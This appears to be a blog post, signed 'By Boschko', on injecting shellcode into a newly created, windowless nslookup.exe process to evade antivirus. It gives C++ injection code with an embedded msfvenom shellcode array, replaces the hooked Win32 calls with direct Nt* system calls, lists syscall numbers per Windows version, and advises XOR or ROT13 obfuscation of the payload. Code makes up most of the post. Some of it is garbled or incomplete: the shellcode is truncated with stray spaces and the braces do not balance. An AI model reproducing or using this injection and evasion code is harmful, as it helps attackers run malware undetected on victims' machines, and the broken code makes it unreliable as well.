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Direct system call injection process to avoid anti-kill

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This is also a technology I have used for a long time. I have also posted such on my github and given this to many others.


The main idea is to inject shellcode into the process. The process can be an existing process or a newly created process.

Mainly used api are as listed below. Also a good resource for undocumented windows process injection stuff that I like is the following:

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten

HANDLE CreateRemoteThread(
  HANDLE                 hProcess,
  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  SIZE_T                 dwStackSize,
  LPVOID                 lpParameter,
  DWORD                  dwCreationFlags,
  LPDWORD                lpThreadId

The simple demo is as follows:

#include <iostream>
#include <Windows.h>
#include "common.h"

int main()
{// msfvenom -p windows/x64/exec CMD=notepad.exe -f cunsignedchar shellcode[] ="\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9""\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41""\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48""\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01""\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48""\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0""\ xac \ x41 \ xc1 \ xc9 \ x0d \ x41 \ x01 \ xc1 \ x38 \ xe0 \ x75 \ xf1 \ x4c \ x03 \ x4c "

    // Create a 64-bit process: 
    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(shellcode);
    LPCWSTR cmd;
    HANDLE hProcess, hThread;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(&pi, sizeof(pi));
    si.cb = sizeof(si);
    cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");

    if (!CreateProcess(
        cmd,							// Executable
        NULL,							// Command line
        NULL,							// Process handle not inheritable
        NULL,							// Thread handle not inheritable
        FALSE,							// Set handle inheritance to FALSE
        CREATE_NO_WINDOW,	            // Do Not Open a Window
        NULL,							// Use parent's environment block
        NULL,							// Use parent's starting directory 
        &si,			                // Pointer to STARTUPINFO structure
        &pi								// Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
    )) {
        DWORD errval = GetLastError();
        std::cout << "FAILED" << errval << std::endl;
    WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. 

    // Inject into the 64-bit process:
    allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL);
    CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0);

Then analyze the API call situation:



it is important to remember that there are two types of APIs that can be spied on:


We use low level APIs for our operations


First, make a system call to the API you need to use. The core code is as follows:

NtAllocateVirtualMemory(pi.hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, allocation_start, shellcode, sizeof(shellcode), 0);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pi.hProcess, allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);

Among them, NtAllocateVirtualMemory needs to consider the version differences of different operating systems. Refer to the following:

NtAllocateVirtualMemory_SystemCall_6_1_7600:          ; Windows 7 SP0
	mov eax, 0015h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_1_7601:          ; Windows 7 SP1 and Server 2008 R2 SP0
	mov eax, 0015h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_2_XXXX:          ; Windows 8 and Server 2012
	mov eax, 0016h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_3_XXXX:          ; Windows 8.1 and Server 2012 R2
	mov eax, 0017h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_10240:        ; Windows 10.0.10240 (1507)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_10586:        ; Windows 10.0.10586 (1511)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_14393:        ; Windows 10.0.14393 (1607)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_15063:        ; Windows 10.0.15063 (1703)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_16299:        ; Windows 10.0.16299 (1709)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_17134:        ; Windows 10.0.17134 (1803)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_17763:        ; Windows 10.0.17763 (1809)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_18362:        ; Windows 10.0.18362 (1903)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_18363:        ; Windows 10.0.18363 (1909)
	mov eax, 0018h
	jmp NtAllocateVirtualMemory_Epilogue

The list is as follows:


Regarding the relationship, refer to the following figure then obfuscate your shellcode such as xor or rot13. Then load it into memory and decrypt it.


To test this ill use the only antivirus that I respect qihoo 360  :not_troll:



By Boschko